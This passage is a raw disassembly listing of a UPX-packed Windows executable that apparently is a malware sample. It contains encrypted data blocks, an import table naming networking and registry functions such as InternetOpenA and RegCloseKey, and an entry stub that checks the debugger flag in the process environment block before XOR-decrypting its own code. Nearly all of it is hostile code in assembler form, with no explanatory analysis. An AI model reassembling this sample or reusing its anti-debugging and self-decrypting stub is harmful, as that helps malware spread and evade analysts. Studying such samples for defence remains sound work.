2AE06B38h, 0DE71F2CEh, 9554366Fh dd 15589964h, 0DB6F7E47h, 0F5F80F48h, 186B7C71h, 185F167Bh dd 8F8BCD4Eh, 4E33D3ADh, 0A50A6870h, 0E31DD45Bh, 286B18E4h dd 22235D7Ch, 0AEDE57BFh, 2A2F1BBDh, 0DB5B7EBBh, 784B41FFh dd 180B7A38h, 499509B7h, 2B1B8DB3h, 70185523h, 88203D3Eh dd 7C0FBA7Ah, 8F4BE188h, 5EE618B5h, 0A4555F17h, 0C6EE5B12h dd 5B1C15BDh, 414C5132h dd 56597518h, 78752226h, 38EA1A4Eh, 0DB3EE3FCh, 0D478B34Ch dd 345D8C7Eh, 0FE635B48h, 6B7F35C1h, 0D18E5775h, 5DBF239Eh dd 5976537Eh, 54395055h, 0DF94FE7h, 0AD5B4AD8h, 41486732h dd 0F1567121h, 10E93281h, 0E2760A5Dh, 0B99DEB7Eh, 485F5457h dd 79E06BB4h, 0B2B5BD52h, 0A4211F50h, 537A82A1h, 37EB0A2Ah dd 8820B76Ch, 140D9658h, 26761920h, 0B0633D8Eh, 7959514Ch dd 8E4E7D6Ch, 721C888h, 7E0A5953h, 0DE046B5Bh, 5FE3E2D0h dd 525A7743h, 397C144Eh, 0FB094B1Ah, 336CB588h, 0E6CEF002h dd 70E37AFAh, 7F345C66h, 0E359E61Ch, 56306673h, 0D6259EAh dd 0C8D8A44Ch, 5B6A7CFFh, 8E0E41F0h, 0DC2CA06Eh, 76711327h dd 4EFBBE57h, 316B37D3h, 713E485Dh, 0F5AB1EF4h, 5C2463BAh dd 568B107Dh, 5E086116h, 2AD8D00Eh, 42E9947Fh, 37E0E233h dd 975EF903h, 5A5174C9h, 138D5F22h, 8DF56030h, 2B44BA75h dd 618BE2EDh, 5BF7B678h, 4CB9516Ch, 0B02EEE25h, 75E65D4Dh dd 0E18A40D1h, 0EA0C1C94h, 0B3086535h, 1FC66E8h, 0A3315A77h dd 7D62BFADh, 80E70940h, 32526E89h, 6A15A852h, 0DFBDE123h dd 3043611Eh, 5D42BEh, 8800BD8Dh, 7D2D749Fh, 5CE75FC4h dd 0E957FB9Bh, 73995F02h, 0DF4BB8B3h, 287D415Dh, 0AF37F9BEh dd 6936EE88h, 0A629CE32h, 8828A32Eh, 2819DF08h, 59E6E599h dd 793469D8h, 0C86565Ah, 0DC3C322Dh, 3256593Ch, 3E1A3D8Bh dd 0E4F4C5Bh, 0DBAC354h, 7C3228B1h, 6236592Ah, 0B2EFCEFFh dd 0F2415E51h, 134DB75Fh, 0FB5055D4h, 57F6540Eh, 29291441h dd 5715D4D6h, 0C7B76A28h, 369849D4h, 792C8CE8h, 514D495Bh dd 88D1644Ah, 0D717519h, 8B77BE98h, 0E62B02D8h, 0F24A4BD4h dd 559BA409h, 0D8A553Eh, 0B8CAA36h, 6B375AEFh, 7C672575h dd 1348D85Eh, 50670760h, 0BD1FC1CEh, 3A165A0Eh, 964A413Fh dd 0A46B6F14h, 617EFCD1h, 51980165h, 5D1F25FEh, 0FDA07436h dd 322C2DBEh, 0E48E2DDFh, 5E718C18h, 5A3D48A8h, 89835EA4h dd 0CC77795Eh, 55BD3C1Ch, 0BD623637h, 2979A36Dh, 882CBC88h dd 562C5F36h, 53E422A0h, 7B71563Bh, 0A684C6Bh, 22B921AEh dd 68EEF37Fh, 520435B4h, 353A3A4Bh, 148AF314h, 0C570139h dd 0F3148A2Fh, 3C31348Ah, 2563282Bh, 0E2EF29Ch, 74AE7D68h dd 0FB337CBh, 78EC4675h, 3738D851h, 88393339h, 1E78020Bh dd 331B3E80h, 60B2EFE9h, 3A333F1Dh, 0AEF5D48Fh, 34683F72h dd 880FB926h, 3F280C0Bh, 0BC3EA33Eh, 153C1714h, 0BD49B3B4h dd 39445CD5h, 0DA521626h, 9422AA08h, 2F1EA81Ch, 75DBE3A8h dd 16D83CA7h, 0DCC3D95Ch, 59568737h, 1F121367h, 343CF82Eh dd 0F4383817h, 31FB0E2Ah, 0C7383838h, 38383838h, 68388658h dd 86B508A8h, 0C7C7F838h, 0C7F5BB6Fh, 0A8A828D3h, 0A8A8A8A8h dd 0B07E3EB2h, 0E3397F3Fh, 26B33F4Dh, 29C4D6BBh, 80D54AE3h dd 38383839h, 3F4DE339h, 0D6BB26B3h, 29E329C4h, 4BE339F8h dd 0B3314DD7h, 0C4D6BB26h, 0DC4BE329h, 0D0BBF109h, 0F9354A3Bh dd 3EB230D8h, 0C7C8BB7Eh, 0FDB14C4Ch, 3F4DE339h, 0D6BB26B3h dd 29E329C4h, 4DE339F1h, 0BB26B33Fh, 0E329C4D6h, 184DF129h dd 4DE33979h, 0BB26B33Fh, 0E329C4D6h, 0E339F129h, 314DD74Bh dd 0D6BB26B3h, 4BE329C4h, 0D1F9BBDCh, 9C000070h, 70h, 2 dup(0) dd 0DE000000h, 0A4000070h, 70h, 2 dup(0) dd 0E9000000h, 0AC000070h, 70h, 2 dup(0) dd 0F4000000h, 0B4000070h, 70h, 3 dup(0) dd 0BC000071h, 70h, 4 dup(0) dd 0A000000h, 18000071h, 28000071h, 71h, 36000000h, 71h dd 44000000h, 71h, 4A000000h, 71h, 56000000h, 71h, 3000000h dd 800000h, 4B000000h, 454E5245h, 2E32334Ch, 4C4C44h, 41564441h dd 32334950h, 6C6C642Eh, 56534D00h, 2E545243h, 6C6C64h dd 52455355h, 642E3233h, 57006C6Ch, 4E494E49h, 642E5445h dd 57006C6Ch, 335F3253h, 6C642E32h, 4C00006Ch, 4C64616Fh dd 61726269h, 417972h, 74654700h, 636F7250h, 72646441h dd 737365h, 69784500h, 6F725074h, 73736563h, 52000000h dd 6C436765h, 4B65736Fh, 7965h, 6E617200h, 77000064h, 69727073h dd 4166746Eh, 49000000h, 7265746Eh, 4F74656Eh, 416E6570h dd 26h dup(0) dd 5B000000h, 59E8h, 24648B00h, 4EBB808h, 0FAEB0000h, 18A16764h dd 30408B00h, 240B60Fh, 7500F883h, 0E83Ch, 815D0000h, 402320EDh dd 67858B00h, 3004023h, 40236F85h, 8BF08B00h, 40236B85h dd 6F850300h, 50004023h, 0C933FE8Bh, 778532ACh, 0AA004023h dd 738D3B41h, 7C004023h, 0C02BC3EFh, 6430FF64h, 78B82089h dd 87123456h, 500003h, 6B1000h, 80h dup(0) UPX1 ends ; Section 3. (virtual address 00007000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 00007000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX2 segment para public 'CODE' use32 assume cs:UPX2 ;org 30907000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 90000000h, 1E0030h, 70D13800h, 709C0000h, 3 dup(0) dd 70DE0000h, 70A40000h, 3 dup(0) dd 70E90000h, 70AC0000h, 3 dup(0) dd 70F40000h, 70B40000h, 3 dup(0) dd 71000000h, 70BC0000h, 5 dup(0) dd 710A0000h, 71180000h, 71280000h, 0 dd 71360000h, 0 dd 71440000h, 0 dd 714A0000h, 0 dd 71560000h, 0 dd 30000h, 8000h, 454B0000h, 4C454E52h, 442E3233h, 41004C4Ch dd 50415644h, 2E323349h, 6C6C64h, 4356534Dh, 642E5452h dd 55006C6Ch, 33524553h, 6C642E32h, 4957006Ch, 454E494Eh dd 6C642E54h, 5357006Ch, 32335F32h, 6C6C642Eh, 6F4C0000h dd 694C6461h, 72617262h, 4179h, 50746547h, 41636F72h, 65726464h dd 7373h, 74697845h, 636F7250h, 737365h, 65520000h, 6F6C4367h dd 654B6573h, 79h, 646E6172h, 73770000h, 6E697270h, 416674h dd 6E490000h, 6E726574h, 704F7465h, 416E65h, 26h dup(0) dd 0E85B0000h, 59h, 824648Bh, 4EBB8h, 64FAEB00h, 18A167h ; =============== S U B R O U T I N E ======================================= public start start proc near mov eax, [eax+30h] movzx eax, byte ptr [eax+2] cmp eax, 0 jnz short locret_30907248 call $+5 pop ebp sub ebp, 402320h mov eax, [ebp+402367h] add eax, [ebp+40236Fh] mov esi, eax mov eax, [ebp+40236Bh] add eax, [ebp+40236Fh] push eax mov edi, esi xor ecx, ecx loc_30907237: ; CODE XREF: start+46j lodsb xor al, [ebp+402377h] stosb inc ecx cmp ecx, [ebp+402373h] jl short loc_30907237 locret_30907248: ; CODE XREF: start+Aj retn start endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2Bh, 0C0h, 64h db 0FFh db 30h, 64h, 89h db 20h db 0B8h, 78h, 56h db 34h ; 4 db 12h, 87h, 3 db 0 db 50h, 2 dup(0) db 10h db 6Bh, 2 dup(0) db 0 db 0, 90h, 30h db 0 db 1Eh, 2 dup(0) db 38h ; 8 db 3Ah, 0B9h, 0C5h db 38h ; 8 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- dw 0C7C7h db 0BBh ; db 0E9h, 39h, 0B5h db 2Ch ; , db 17h, 0BBh, 0C5h db 0C4h ; db 4Eh, 37h, 0B2h db 3Ah ; : db 7Ah, 0B0h, 3Fh db 7Fh ; db 71h, 4Dh, 0CFh db 0D1h ; db 5Bh, 2 dup(0C7h) db 0C7h ; db 0A8h, 0B3h, 3Ah db 0BBh ; db 0FAh, 3Ch, 0B1h db 3Fh ; ? db 0BBh, 0FFh, 3Ch ; --------------------------------------------------------------------------- loc_30907294: ; CODE XREF: UPX2:309072DFj mov ebx, 0C94F3CD1h cmp edi, esi sal dword ptr [edi+eax*8-39h], 1 mov dword ptr [esi-4Fh], 38B481CFh cmp [eax], bh mov dl, 3Fh jg short loc_309072C0 rol byte ptr [ecx+edi], 1 dec edi iret ; --------------------------------------------------------------------------- db 0B8h, 7, 39h ; --------------------------------------------------------------------------- dec ebp retf 3FB3h ; --------------------------------------------------------------------------- db 0B2h ; db 67h, 3Ch, 5Eh db 0F9h ; db 0D0h, 30h, 0F9h ; --------------------------------------------------------------------------- loc_309072C0: ; CODE XREF: UPX2:309072AAj clc sub [esi-473FEE04h], bh rcl eax, cl ; --------------------------------------------------------------------------- db 39h, 0C8h, 0B1h dd 3DFFBB3Fh, 0E1DAE0B1h ; --------------------------------------------------------------------------- mov ch, 86h cmp [eax+38h], bh cmp [ebx+4CF8313Fh], dh jge short loc_30907294 db 67h cmp al, 0B5h mov esp, 38583808h cmp [ecx], bh retf ; --------------------------------------------------------------------------- db 68h ; h db 0BBh, 0FFh, 30h db 0C7h ; db 0AEh, 0B4h, 58h db 38h ; 8 db 38h, 0ADh, 0B2h db 3Fh ; ? db 7Fh, 30h, 0F8h db 4Ch ; L db 0E4h, 0B1h, 0C1h db 41h ; A db 3Fh, 37h, 8Fh db 3Fh ; ? db 7Fh, 68h, 7Fh db 81h ; db 6Fh, 70h, 0CAh db 96h ; db 6Dh, 0C7h, 0AEh db 0A8h ; db 58h, 2 dup(38h) db 31h ; 1 db 0F8h, 4Ch, 3Fh db 0B1h ; db 3Bh, 0BBh, 0FBh aROmx88yAo88888 db '<ǮX88YѠ88888888888888888888888888888888888888888888888888' db '88888888888888888888888888888888888888888888888888888888888888888' db '88888888888888888888888888888888888888888888888888888888888888888' db '888888888888888888888888888888888',0 align 4 dd 6FFh dup(0) UPX2 ends ; Section 4. (virtual address 00009000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00009000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 30909000h align 2000h _idata2 ends end start